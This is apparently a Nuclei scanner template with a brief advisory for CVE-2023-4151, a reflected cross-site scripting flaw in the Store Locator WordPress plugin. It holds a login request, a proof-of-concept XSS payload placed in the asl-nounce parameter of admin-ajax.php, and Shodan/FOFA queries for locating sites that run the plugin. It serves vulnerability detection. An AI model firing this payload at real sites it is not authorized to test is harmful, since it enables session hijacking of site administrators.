The Store Locator WordPress plugin before 1.4.13 does not sanitise and escape an invalid nonce before outputting it back in an AJAX response, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
PoC代码[已公开]
id: CVE-2023-4151
info:
name: Store Locator WordPress < 1.4.13 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
The Store Locator WordPress plugin before 1.4.13 does not sanitise and escape an invalid nonce before outputting it back in an AJAX response, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
impact: |
Attackers can potentially exploit this vulnerability to gain unauthorized access to sensitive information.
remediation: |
Update the plugin to Latest version. Fixed in 1.4.13.
reference:
- https://wpscan.com/vulnerability/c9d80aa4-a26d-4b3f-b7bf-9d2fb0560d7b/
- https://nvd.nist.gov/vuln/detail/CVE-2023-4151
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-4151
cwe-id: CWE-79
epss-score: 0.0882
epss-percentile: 0.92215
cpe: cpe:2.3:a:agilelogix:store_locator:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 3
vendor: agilelogix
product: store_locator
framework: wordpress
fofa-query: body="/wp-content/plugins/agile-store-locator"
publicwww-query: /wp-content/plugins/agile-store-locator/
shodan-query: http.html:"/wp-content/plugins/agile-store-locator/"
tags: cve,cve2024,wp,wordpress,wp-plugin,agile-store-locator,xss
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- "/wp-content/plugins/agile-store-locator"
internal: true
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin-ajax.php?action=asl_ajax_handler&asl-nounce=<img src onerror=alert`document.domain`> HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- '<img src onerror=alert`document.domain`>'
- type: word
part: content_type_2
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a0047304502207183a081c7bfac8a1d77538da4c90e387e0294c4abc48d43ba2dcdf7b391c1950221008a5373be23428e57265e90bacadb69b78389e2f55faa5436b13bc7c188a1f3d8:922c64590222798bb761d5b6d8e72950